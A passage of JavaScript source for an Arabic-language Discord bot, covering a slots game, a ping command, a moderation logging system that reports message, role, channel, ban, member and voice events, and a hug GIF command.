  5429. let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
  5430. let we;
  5431. if(slots1) {
  5432. we = "??ألعب مرة آخرى??"
  5433. } else {
  5434. we = "??لقد خسرت حظ آوفر??"
  5435. }
  5436. message.channel.send(`${slots1} - ${we}`)
  5437. }
  5438. });
  5439.  
  5440.  
  5441.  
  5442.  
  5443.  
  5444.  
  5445.  
  5446.  
  5447.  
  5448.  
  5449.  
  5450.  
  5451. client.on('message', message => {
  5452. if (message.content === ">ping") {
  5453. const embed = new Discord.RichEmbed()
  5454.  
  5455. .setColor("#FF0000")
  5456. .addField('``سرعة أتصال الــبوت`` ' , `${Date.now() - message.createdTimestamp}` + ' ms`')
  5457.  
  5458. message.channel.sendEmbed(embed);
  5459. }
  5460. });
  5461.  
  5462. //Perfect log Code
  5463. client.on('message', message => {
  5464. if (!message.channel.guild) return;
  5465.  
  5466. let room = message.content.split(" ").slice(1);
  5467. let findroom = message.guild.channels.find('name', `${room}`)
  5468. if(message.content.startsWith(prefix + "setLog")) {
  5469. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  5470. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  5471. if(!room) return message.channel.send('Please Type The Channel Name')
  5472. if(!findroom) return message.channel.send('Please Type The Log Channel Name')
  5473. let embed = new Discord.RichEmbed()
  5474. .setTitle('**Done The Log Code Has Been Setup**')
  5475. .addField('Channel:', `${room}`)
  5476. .addField('Requested By:', `${message.author}`)
  5477. .setThumbnail(message.author.avatarURL)
  5478. .setFooter(`${client.user.username}`)
  5479. message.channel.sendEmbed(embed)
  5480. log[message.guild.id] = {
  5481. channel: room,
  5482. onoff: 'On'
  5483. }
  5484. fs.writeFile("./log.json", JSON.stringify(log), (err) => {
  5485. if (err) console.error(err)
  5486. })
  5487. }})
  5488.  
  5489. client.on('message', message => {
  5490.  
  5491. if(message.content.startsWith(prefix + "toggleLog")) {
  5492. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  5493. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  5494. if(!log[message.guild.id]) log[message.guild.id] = {
  5495. onoff: 'Off'
  5496. }
  5497. if(log[message.guild.id].onoff === 'Off') return [message.channel.send(`**The log Is __????__ !**`), log[message.guild.id].onoff = 'On']
  5498. if(log[message.guild.id].onoff === 'On') return [message.channel.send(`**The log Is __??????__ !**`), log[message.guild.id].onoff = 'Off']
  5499. fs.writeFile("./log.json", JSON.stringify(log), (err) => {
  5500. if (err) console.error(err)
  5501. .catch(err => {
  5502. console.error(err);
  5503. });
  5504. });
  5505. }
  5506.  
  5507. })
  5508.  
  5509.  
  5510. client.on('messageDelete', message => {
  5511.  
  5512. if(message.author.bot) return;
  5513. if(message.channel.type === 'dm') return;
  5514. if(!message.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5515. if(!message.guild.member(client.user).hasPermission('MANAGE_MESSAGES')) return;
  5516. if(!log[message.guild.id]) log[message.guild.id] = {
  5517. onoff: 'Off'
  5518. }
  5519. if(log[message.guild.id].onoff === 'Off') return;
  5520. var logChannel = message.guild.channels.find(c => c.name === `${log[message.guild.id].channel}`);
  5521. if(!logChannel) return;
  5522.  
  5523. let messageDelete = new Discord.RichEmbed()
  5524. .setTitle('**[MESSAGE DELETE]**')
  5525. .setColor('RED')
  5526. .setThumbnail(message.author.avatarURL)
  5527. .setDescription(`**\n**:wastebasket: Successfully \`\`DELETE\`\` **MESSAGE** In ${message.channel}\n\n**Channel:** \`\`${message.channel.name}\`\` (ID: ${message.channel.id})\n**Message ID:** ${message.id}\n**Sent By:** <@${message.author.id}> (ID: ${message.author.id})\n**Message:**\n\`\`\`${message}\`\`\``)
  5528. .setTimestamp()
  5529. .setFooter(message.guild.name, message.guild.iconURL)
  5530.  
  5531. logChannel.send(messageDelete);
  5532. });
  5533. client.on('messageUpdate', (oldMessage, newMessage) => {
  5534.  
  5535. if(oldMessage.author.bot) return;
  5536. if(!oldMessage.channel.type === 'dm') return;
  5537. if(!oldMessage.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5538. if(!oldMessage.guild.member(client.user).hasPermission('MANAGE_MESSAGES')) return;
  5539. if(!log[oldMessage.guild.id]) log[oldMessage.guild.id] = {
  5540. onoff: 'Off'
  5541. }
  5542. if(log[oldMessage.guild.id].onoff === 'Off') return;
  5543. var logChannel = oldMessage.guild.channels.find(c => c.name === `${log[oldMessage.guild.id].channel}`);
  5544. if(!logChannel) return;
  5545.  
  5546. if(oldMessage.content.startsWith('https://')) return;
  5547.  
  5548. let messageUpdate = new Discord.RichEmbed()
  5549. .setTitle('**[MESSAGE EDIT]**')
  5550. .setThumbnail(oldMessage.author.avatarURL)
  5551. .setColor('BLUE')
  5552. .setDescription(`**\n**:wrench: Successfully \`\`EDIT\`\` **MESSAGE** In ${oldMessage.channel}\n\n**Channel:** \`\`${oldMessage.channel.name}\`\` (ID: ${oldMessage.channel.id})\n**Message ID:** ${oldMessage.id}\n**Sent By:** <@${oldMessage.author.id}> (ID: ${oldMessage.author.id})\n\n**Old Message:**\`\`\`${oldMessage}\`\`\`\n**New Message:**\`\`\`${newMessage}\`\`\``)
  5553. .setTimestamp()
  5554. .setFooter(oldMessage.guild.name, oldMessage.guild.iconURL)
  5555.  
  5556. logChannel.send(messageUpdate);
  5557. });
  5558.  
  5559.  
  5560. client.on('roleCreate', role => {
  5561.  
  5562. if(!role.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5563. if(!role.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
  5564. if(!log[role.guild.id]) log[role.guild.id] = {
  5565. onoff: 'Off'
  5566. }
  5567. if(log[role.guild.id].onoff === 'Off') return;
  5568. var logChannel = role.guild.channels.find(c => c.name === `${log[role.guild.id].channel}`);
  5569. if(!logChannel) return;
  5570.  
  5571. role.guild.fetchAuditLogs().then(logs => {
  5572. var userID = logs.entries.first().executor.id;
  5573. var userAvatar = logs.entries.first().executor.avatarURL;
  5574.  
  5575. let roleCreate = new Discord.RichEmbed()
  5576. .setTitle('**[ROLE CREATE]**')
  5577. .setThumbnail(userAvatar)
  5578. .setDescription(`**\n**:white_check_mark: Successfully \`\`CREATE\`\` Role.\n\n**Role Name:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
  5579. .setColor('GREEN')
  5580. .setTimestamp()
  5581. .setFooter(role.guild.name, role.guild.iconURL)
  5582.  
  5583. logChannel.send(roleCreate);
  5584. })
  5585. });
  5586. client.on('roleDelete', role => {
  5587.  
  5588. if(!role.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5589. if(!role.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
  5590. if(!log[role.guild.id]) log[role.guild.id] = {
  5591. onoff: 'Off'
  5592. }
  5593. if(log[role.guild.id].onoff === 'Off') return;
  5594. var logChannel = role.guild.channels.find(c => c.name === `${log[role.guild.id].channel}`);
  5595. if(!logChannel) return;
  5596.  
  5597. role.guild.fetchAuditLogs().then(logs => {
  5598. var userID = logs.entries.first().executor.id;
  5599. var userAvatar = logs.entries.first().executor.avatarURL;
  5600.  
  5601. let roleDelete = new Discord.RichEmbed()
  5602. .setTitle('**[ROLE DELETE]**')
  5603. .setThumbnail(userAvatar)
  5604. .setDescription(`**\n**:white_check_mark: Successfully \`\`DELETE\`\` Role.\n\n**Role Name:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
  5605. .setColor('RED')
  5606. .setTimestamp()
  5607. .setFooter(role.guild.name, role.guild.iconURL)
  5608.  
  5609. logChannel.send(roleDelete);
  5610. })
  5611. });
  5612. client.on('roleUpdate', (oldRole, newRole) => {
  5613.  
  5614. if(!oldRole.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5615. if(!oldRole.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
  5616. if(!log[oldRole.guild.id]) log[oldRole.guild.id] = {
  5617. onoff: 'Off'
  5618. }
  5619. if(log[oldRole.guild.id].onoff === 'Off') return;
  5620. var logChannel = oldRole.guild.channels.find(c => c.name === `${log[oldRole.guild.id].channel}`);
  5621. if(!logChannel) return;
  5622.  
  5623. oldRole.guild.fetchAuditLogs().then(logs => {
  5624. var userID = logs.entries.first().executor.id;
  5625. var userAvatar = logs.entries.first().executor.avatarURL;
  5626.  
  5627. if(oldRole.name !== newRole.name) {
  5628. if(log[oldRole.guild.id].onoff === 'Off') return;
  5629. let roleUpdateName = new Discord.RichEmbed()
  5630. .setTitle('**[ROLE NAME UPDATE]**')
  5631. .setThumbnail(userAvatar)
  5632. .setColor('BLUE')
  5633. .setDescription(`**\n**:white_check_mark: Successfully \`\`EDITED\`\` Role Name.\n\n**Old Name:** \`\`${oldRole.name}\`\`\n**New Name:** \`\`${newRole.name}\`\`\n**Role ID:** ${oldRole.id}\n**By:** <@${userID}> (ID: ${userID})`)
  5634. .setTimestamp()
  5635. .setFooter(oldRole.guild.name, oldRole.guild.iconURL)
  5636.  
  5637. logChannel.send(roleUpdateName);
  5638. }
  5639. if(oldRole.hexColor !== newRole.hexColor) {
  5640. if(oldRole.hexColor === '#000000') {
  5641. var oldColor = '`Default`';
  5642. }else {
  5643. var oldColor = oldRole.hexColor;
  5644. }
  5645. if(newRole.hexColor === '#000000') {
  5646. var newColor = '`Default`';
  5647. }else {
  5648. var newColor = newRole.hexColor;
  5649. }
  5650. if(log[oldRole.guild.id].onoff === 'Off') return;
  5651. let roleUpdateColor = new Discord.RichEmbed()
  5652. .setTitle('**[ROLE COLOR UPDATE]**')
  5653. .setThumbnail(userAvatar)
  5654. .setColor('BLUE')
  5655. .setDescription(`**\n**:white_check_mark: Successfully \`\`EDITED\`\` **${oldRole.name}** Role Color.\n\n**Old Color:** ${oldColor}\n**New Color:** ${newColor}\n**Role ID:** ${oldRole.id}\n**By:** <@${userID}> (ID: ${userID})`)
  5656. .setTimestamp()
  5657. .setFooter(oldRole.guild.name, oldRole.guild.iconURL)
  5658.  
  5659. logChannel.send(roleUpdateColor);
  5660. }
  5661. })
  5662. });
  5663.  
  5664. client.on('channelCreate', channel => {
  5665.  
  5666. if(!channel.guild) return;
  5667. if(!channel.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5668. if(!channel.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
  5669. if(!log[channel.guild.id]) log[channel.guild.id] = {
  5670. onoff: 'Off'
  5671. }
  5672. if(log[channel.guild.id].onoff === 'Off') return;
  5673. var logChannel = channel.guild.channels.find(c => c.name === `${log[channel.guild.id].channel}`);
  5674. if(!logChannel) return;
  5675.  
  5676. if(channel.type === 'text') {
  5677. var roomType = 'Text';
  5678. }else
  5679. if(channel.type === 'voice') {
  5680. var roomType = 'Voice';
  5681. }else
  5682. if(channel.type === 'category') {
  5683. var roomType = 'Category';
  5684. }
  5685.  
  5686. channel.guild.fetchAuditLogs().then(logs => {
  5687. var userID = logs.entries.first().executor.id;
  5688. var userAvatar = logs.entries.first().executor.avatarURL;
  5689.  
  5690. let channelCreate = new Discord.RichEmbed()
  5691. .setTitle('**[CHANNEL CREATE]**')
  5692. .setThumbnail(userAvatar)
  5693. .setDescription(`**\n**:white_check_mark: Successfully \`\`CREATE\`\` **${roomType}** channel.\n\n**Channel Name:** \`\`${channel.name}\`\` (ID: ${channel.id})\n**By:** <@${userID}> (ID: ${userID})`)
  5694. .setColor('GREEN')
  5695. .setTimestamp()
  5696. .setFooter(channel.guild.name, channel.guild.iconURL)
  5697.  
  5698. logChannel.send(channelCreate);
  5699. })
  5700. });
  5701. client.on('channelDelete', channel => {
  5702. if(!channel.guild) return;
  5703. if(!channel.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5704. if(!channel.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
  5705. if(!log[channel.guild.id]) log[channel.guild.id] = {
  5706. onoff: 'Off'
  5707. }
  5708. if(log[channel.guild.id].onoff === 'Off') return;
  5709. var logChannel = channel.guild.channels.find(c => c.name === `${log[channel.guild.id].channel}`);
  5710. if(!logChannel) return;
  5711.  
  5712. if(channel.type === 'text') {
  5713. var roomType = 'Text';
  5714. }else
  5715. if(channel.type === 'voice') {
  5716. var roomType = 'Voice';
  5717. }else
  5718. if(channel.type === 'category') {
  5719. var roomType = 'Category';
  5720. }
  5721.  
  5722. channel.guild.fetchAuditLogs().then(logs => {
  5723. var userID = logs.entries.first().executor.id;
  5724. var userAvatar = logs.entries.first().executor.avatarURL;
  5725.  
  5726. let channelDelete = new Discord.RichEmbed()
  5727. .setTitle('**[CHANNEL DELETE]**')
  5728. .setThumbnail(userAvatar)
  5729. .setDescription(`**\n**:white_check_mark: Successfully \`\`DELETE\`\` **${roomType}** channel.\n\n**Channel Name:** \`\`${channel.name}\`\` (ID: ${channel.id})\n**By:** <@${userID}> (ID: ${userID})`)
  5730. .setColor('RED')
  5731. .setTimestamp()
  5732. .setFooter(channel.guild.name, channel.guild.iconURL)
  5733.  
  5734. logChannel.send(channelDelete);
  5735. })
  5736. });
  5737. client.on('channelUpdate', (oldChannel, newChannel) => {
  5738. if(!oldChannel.guild) return;
  5739. if(!log[oldChannel.guild.id]) log[oldChannel.guild.id] = {
  5740. onoff: 'Off'
  5741. }
  5742. if(log[oldChannel.guild.id].onoff === 'Off') return;
  5743. var logChannel = oldChannel.guild.channels.find(c => c.name === `${log[oldChannel.guild.id].channel}`);
  5744. if(!logChannel) return;
  5745.  
  5746. if(oldChannel.type === 'text') {
  5747. var channelType = 'Text';
  5748. }else
  5749. if(oldChannel.type === 'voice') {
  5750. var channelType = 'Voice';
  5751. }else
  5752. if(oldChannel.type === 'category') {
  5753. var channelType = 'Category';
  5754. }
  5755.  
  5756. oldChannel.guild.fetchAuditLogs().then(logs => {
  5757. var userID = logs.entries.first().executor.id;
  5758. var userAvatar = logs.entries.first().executor.avatarURL;
  5759.  
  5760. if(oldChannel.name !== newChannel.name) {
  5761. let newName = new Discord.RichEmbed()
  5762. .setTitle('**[CHANNEL EDIT]**')
  5763. .setThumbnail(userAvatar)
  5764. .setColor('BLUE')
  5765. .setDescription(`**\n**:wrench: Successfully Edited **${channelType}** Channel Name\n\n**Old Name:** \`\`${oldChannel.name}\`\`\n**New Name:** \`\`${newChannel.name}\`\`\n**Channel ID:** ${oldChannel.id}\n**By:** <@${userID}> (ID: ${userID})`)
  5766. .setTimestamp()
  5767. .setFooter(oldChannel.guild.name, oldChannel.guild.iconURL)
  5768.  
  5769. logChannel.send(newName);
  5770. }
  5771. if(oldChannel.topic !== newChannel.topic) {
  5772. if(log[oldChannel.guild.id].onoff === 'Off') return;
  5773. let newTopic = new Discord.RichEmbed()
  5774. .setTitle('**[CHANNEL EDIT]**')
  5775. .setThumbnail(userAvatar)
  5776. .setColor('BLUE')
  5777. .setDescription(`**\n**:wrench: Successfully Edited **${channelType}** Channel Topic\n\n**Old Topic:**\n\`\`\`${oldChannel.topic || 'NULL'}\`\`\`\n**New Topic:**\n\`\`\`${newChannel.topic || 'NULL'}\`\`\`\n**Channel:** ${oldChannel} (ID: ${oldChannel.id})\n**By:** <@${userID}> (ID: ${userID})`)
  5778. .setTimestamp()
  5779. .setFooter(oldChannel.guild.name, oldChannel.guild.iconURL)
  5780.  
  5781. logChannel.send(newTopic);
  5782. }
  5783. })
  5784. });
  5785.  
  5786.  
  5787. client.on('guildBanAdd', (guild, user) => {
  5788.  
  5789. if(!guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5790. if(!guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
  5791. if(!log[guild.guild.id]) log[guild.guild.id] = {
  5792. onoff: 'Off'
  5793. }
  5794. if(log[guild.guild.id].onoff === 'Off') return;
  5795. var logChannel = guild.channels.find(c => c.name === `${log[guild.guild.id].channel}`);
  5796. if(!logChannel) return;
  5797.  
  5798. guild.fetchAuditLogs().then(logs => {
  5799. var userID = logs.entries.first().executor.id;
  5800. var userAvatar = logs.entries.first().executor.avatarURL;
  5801.  
  5802. if(userID === client.user.id) return;
  5803.  
  5804. let banInfo = new Discord.RichEmbed()
  5805. .setTitle('**[BANNED]**')
  5806. .setThumbnail(userAvatar)
  5807. .setColor('DARK_RED')
  5808. .setDescription(`**\n**:airplane: Successfully \`\`BANNED\`\` **${user.username}** From the server!\n\n**User:** <@${user.id}> (ID: ${user.id})\n**By:** <@${userID}> (ID: ${userID})`)
  5809. .setTimestamp()
  5810. .setFooter(guild.name, guild.iconURL)
  5811.  
  5812. logChannel.send(banInfo);
  5813. })
  5814. });
  5815. client.on('guildBanRemove', (guild, user) => {
  5816. if(!guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5817. if(!guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
  5818. if(!log[guild.guild.id]) log[guild.guild.id] = {
  5819. onoff: 'Off'
  5820. }
  5821. if(log[guild.guild.id].onoff === 'Off') return;
  5822. var logChannel = guild.channels.find(c => c.name === `${log[guild.guild.id].channel}`);
  5823. if(!logChannel) return;
  5824.  
  5825. guild.fetchAuditLogs().then(logs => {
  5826. var userID = logs.entries.first().executor.id;
  5827. var userAvatar = logs.entries.first().executor.avatarURL;
  5828.  
  5829. if(userID === client.user.id) return;
  5830.  
  5831. let unBanInfo = new Discord.RichEmbed()
  5832. .setTitle('**[UNBANNED]**')
  5833. .setThumbnail(userAvatar)
  5834. .setColor('GREEN')
  5835. .setDescription(`**\n**:unlock: Successfully \`\`UNBANNED\`\` **${user.username}** From the server\n\n**User:** <@${user.id}> (ID: ${user.id})\n**By:** <@${userID}> (ID: ${userID})`)
  5836. .setTimestamp()
  5837. .setFooter(guild.name, guild.iconURL)
  5838.  
  5839. logChannel.send(unBanInfo);
  5840. })
  5841. });
  5842.  
  5843. client.on('guildMemberUpdate', (oldMember, newMember) => {
  5844. if(!oldMember.guild) return;
  5845. if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
  5846. onoff: 'Off'
  5847. }
  5848. if(log[oldMember.guild.id].onoff === 'Off') return;
  5849. var logChannel = oldMember.guild.channels.find(c => c.name === `${log[oldMember, newMember.guild.id].channel}`);
  5850. if(!logChannel) return;
  5851.  
  5852. oldMember.guild.fetchAuditLogs().then(logs => {
  5853. var userID = logs.entries.first().executor.id;
  5854. var userAvatar = logs.entries.first().executor.avatarURL;
  5855. var userTag = logs.entries.first().executor.tag;
  5856.  
  5857. if(oldMember.nickname !== newMember.nickname) {
  5858. if(oldMember.nickname === null) {
  5859. var oldNM = '`اسمه الاصلي`';
  5860. }else {
  5861. var oldNM = oldMember.nickname;
  5862. }
  5863. if(newMember.nickname === null) {
  5864. var newNM = '`اسمه الاصلي`';
  5865. }else {
  5866. var newNM = newMember.nickname;
  5867. }
  5868.  
  5869. let updateNickname = new Discord.RichEmbed()
  5870. .setTitle('**[UPDATE MEMBER NICKNAME]**')
  5871. .setThumbnail(userAvatar)
  5872. .setColor('BLUE')
  5873. .setDescription(`**\n**:spy: Successfully \`\`CHANGE\`\` Member Nickname.\n\n**User:** ${oldMember} (ID: ${oldMember.id})\n**Old Nickname:** ${oldNM}\n**New Nickname:** ${newNM}\n**By:** <@${userID}> (ID: ${userID})`)
  5874. .setTimestamp()
  5875. .setFooter(oldMember.guild.name, oldMember.guild.iconURL)
  5876.  
  5877. logChannel.send(updateNickname);
  5878. }
  5879. if(oldMember.roles.size < newMember.roles.size) {
  5880. let role = newMember.roles.filter(r => !oldMember.roles.has(r.id)).first();
  5881. if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
  5882. onoff: 'Off'
  5883. }
  5884. if(log[oldMember.guild.id].onoff === 'Off') return;
  5885. let roleAdded = new Discord.RichEmbed()
  5886. .setTitle('**[ADDED ROLE TO MEMBER]**')
  5887. .setThumbnail(oldMember.guild.iconURL)
  5888. .setColor('GREEN')
  5889. .setDescription(`**\n**:white_check_mark: Successfully \`\`ADDED\`\` Role to **${oldMember.user.username}**\n\n**User:** <@${oldMember.id}> (ID: ${oldMember.user.id})\n**Role:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
  5890. .setTimestamp()
  5891. .setFooter(userTag, userAvatar)
  5892.  
  5893. logChannel.send(roleAdded);
  5894. }
  5895. if(oldMember.roles.size > newMember.roles.size) {
  5896. let role = oldMember.roles.filter(r => !newMember.roles.has(r.id)).first();
  5897. if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
  5898. onoff: 'Off'
  5899. }
  5900. if(log[oldMember, newMember.guild.id].onoff === 'Off') return;
  5901. let roleRemoved = new Discord.RichEmbed()
  5902. .setTitle('**[REMOVED ROLE FROM MEMBER]**')
  5903. .setThumbnail(oldMember.guild.iconURL)
  5904. .setColor('RED')
  5905. .setDescription(`**\n**:negative_squared_cross_mark: Successfully \`\`REMOVED\`\` Role from **${oldMember.user.username}**\n\n**User:** <@${oldMember.user.id}> (ID: ${oldMember.id})\n**Role:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
  5906. .setTimestamp()
  5907. .setFooter(userTag, userAvatar)
  5908.  
  5909. logChannel.send(roleRemoved);
  5910. }
  5911. })
  5912. if(oldMember.guild.owner.id !== newMember.guild.owner.id) {
  5913. if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
  5914. onoff: 'Off'
  5915. }
  5916. if(log[oldMember, newMember.guild.id].onoff === 'Off') return;
  5917. let newOwner = new Discord.RichEmbed()
  5918. .setTitle('**[UPDATE GUILD OWNER]**')
  5919. .setThumbnail(oldMember.guild.iconURL)
  5920. .setColor('GREEN')
  5921. .setDescription(`**\n**:white_check_mark: Successfully \`\`TRANSFER\`\` The Owner Ship.\n\n**Old Owner:** <@${oldMember.user.id}> (ID: ${oldMember.user.id})\n**New Owner:** <@${newMember.user.id}> (ID: ${newMember.user.id})`)
  5922. .setTimestamp()
  5923. .setFooter(oldMember.guild.name, oldMember.guild.iconURL)
  5924.  
  5925. logChannel.send(newOwner);
  5926. }
  5927. });
  5928.  
  5929.  
  5930. client.on('voiceStateUpdate', (voiceOld, voiceNew) => {
  5931.  
  5932. if(!voiceOld.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
  5933. if(!voiceOld.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
  5934. if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
  5935. onoff: 'Off'
  5936. }
  5937. if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
  5938. var logChannel = voiceOld.guild.channels.find(c => c.name === `${log[voiceOld, voiceNew.guild.id].channel}`);
  5939. if(!logChannel) return;
  5940.  
  5941. voiceOld.guild.fetchAuditLogs().then(logs => {
  5942. var userID = logs.entries.first().executor.id;
  5943. var userTag = logs.entries.first().executor.tag;
  5944. var userAvatar = logs.entries.first().executor.avatarURL;
  5945.  
  5946. if(voiceOld.serverMute === false && voiceNew.serverMute === true) {
  5947. let serverMutev = new Discord.RichEmbed()
  5948. .setTitle('**[VOICE MUTE]**')
  5949. .setThumbnail('https://images-ext-1.discordapp.net/external/pWQaw076OHwVIFZyeFoLXvweo0T_fDz6U5C9RBlw_fQ/https/cdn.pg.sa/UosmjqDNgS.png')
  5950. .setColor('RED')
  5951. .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
  5952. .setTimestamp()
  5953. .setFooter(userTag, userAvatar)
  5954.  
  5955. logChannel.send(serverMutev);
  5956. }
  5957. if(voiceOld.serverMute === true && voiceNew.serverMute === false) {
  5958. if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
  5959. onoff: 'Off'
  5960. }
  5961. if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
  5962. let serverUnmutev = new Discord.RichEmbed()
  5963. .setTitle('**[VOICE UNMUTE]**')
  5964. .setThumbnail('https://images-ext-1.discordapp.net/external/u2JNOTOc1IVJGEb1uCKRdQHXIj5-r8aHa3tSap6SjqM/https/cdn.pg.sa/Iy4t8H4T7n.png')
  5965. .setColor('GREEN')
  5966. .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
  5967. .setTimestamp()
  5968. .setFooter(userTag, userAvatar)
  5969.  
  5970. logChannel.send(serverUnmutev);
  5971. }
  5972. if(voiceOld.serverDeaf === false && voiceNew.serverDeaf === true) {
  5973. if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
  5974. onoff: 'Off'
  5975. }
  5976. if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
  5977. let serverDeafv = new Discord.RichEmbed()
  5978. .setTitle('**[VOICE DEAF]**')
  5979. .setThumbnail('https://images-ext-1.discordapp.net/external/7ENt2ldbD-3L3wRoDBhKHb9FfImkjFxYR6DbLYRjhjA/https/cdn.pg.sa/auWd5b95AV.png')
  5980. .setColor('RED')
  5981. .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
  5982. .setTimestamp()
  5983. .setFooter(userTag, userAvatar)
  5984.  
  5985. logChannel.send(serverDeafv);
  5986. }
  5987. if(voiceOld.serverDeaf === true && voiceNew.serverDeaf === false) {
  5988. if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
  5989. onoff: 'Off'
  5990. }
  5991. if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
  5992. let serverUndeafv = new Discord.RichEmbed()
  5993. .setTitle('**[VOICE UNDEAF]**')
  5994. .setThumbnail('https://images-ext-2.discordapp.net/external/s_abcfAlNdxl3uYVXnA2evSKBTpU6Ou3oimkejx3fiQ/https/cdn.pg.sa/i7fC8qnbRF.png')
  5995. .setColor('GREEN')
  5996. .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
  5997. .setTimestamp()
  5998. .setFooter(userTag, userAvatar)
  5999.  
  6000. logChannel.send(serverUndeafv);
  6001. }
  6002. })
  6003.  
  6004. if(voiceOld.voiceChannelID !== voiceNew.voiceChannelID && voiceNew.voiceChannel && voiceOld.voiceChannel != null) {
  6005. if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
  6006. onoff: 'Off'
  6007. }
  6008. if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
  6009. let voiceLeave = new Discord.RichEmbed()
  6010. .setTitle('**[CHANGED VOICE ROOM]**')
  6011. .setColor('GREEN')
  6012. .setThumbnail(voiceOld.user.avatarURL)
  6013. .setDescription(`**\n**:repeat: Successfully \`\`CHANGED\`\` The Voice Channel.\n\n**From:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannelID})\n**To:** \`\`${voiceNew.voiceChannel.name}\`\` (ID: ${voiceNew.voiceChannelID})\n**User:** ${voiceOld} (ID: ${voiceOld.id})`)
  6014. .setTimestamp()
  6015. .setFooter(voiceOld.user.tag, voiceOld.user.avatarURL)
  6016.  
  6017. logChannel.send(voiceLeave);
  6018. }
  6019. });
  6020.  
  6021.  
  6022.  
  6023.  
  6024. client.on("message", message => {
  6025. if (message.author.bot) return;
  6026. if (!message.channel.guild) return;
  6027. if (!games[message.author.id]) games[message.author.id] = {
  6028. credits: 100,
  6029. level: 1,
  6030. };
  6031. fs.writeFile('./games.json', JSON.stringify(games), (err) => {
  6032. if (err) console.error(err);
  6033. });
  6034. });
  6035.  
  6036.  
  6037.  
  6038.  
  6039.  
  6040. client.on("message", message => {
  6041. if (message.author.bot) return;
  6042. if (message.author.id === client.user.id) return;
  6043. if(!message.channel.guild) return;
  6044. if(!dataPro[message.author.id]) {
  6045. dataPro[message.author.id] = {
  6046. ai: false,
  6047. wallSrc: './Screenshot_2018-08-2??-20-05-48-1-1.png' ,
  6048. walls: {}
  6049. };
  6050. }
  6051. fs.writeFile('./walls.json', JSON.stringify(dataPro), (err) => {
  6052. if (err) console.error(err);
  6053. });
  6054. });
  6055.  
  6056.  
  6057.  
  6058. ///hug
  6059. client.on('message', message => {
  6060. if(message.content.startsWith(prefix + 'hug')) {
  6061. let args = message.content.split(" ").slice(1);
  6062. let hug = [
  6063. "https://78.media.tumblr.com/28e86413485a973ae859a745a7a5382e/tumblr_o1hf0uK2NL1uapp8co1_500.gif",
  6064. "https://78.media.tumblr.com/18fdf4adcb5ad89f5469a91e860f80ba/tumblr_oltayyHynP1sy5k7wo1_500.gif",
  6065. "https://78.media.tumblr.com/e790af0168cd80394b7d792dde07407b/tumblr_o76qfcMiFn1sk1rjvo1_500.gif",
  6066. "https://78.media.tumblr.com/350c512200d6cbb6506774f2cddc9641/tumblr_ooonx9vM691qzxv73o1_500.gif",
  6067. "https://78.media.tumblr.com/5dfb67d0a674fe5f81950478f5b2d4ed/tumblr_ofd4e2h8O81ub9qlao1_500.gif",
  6068. "https://78.media.tumblr.com/21f89b12419bda49ce8ee33d50f01f85/tumblr_o5u9l1rBqg1ttmhcxo1_500.gif",
  6069. "https://78.media.tumblr.com/ebc214f892af851ffd7297e0e6212cdb/tumblr_o2kwkfyzT01uprh6zo1_500.gif",
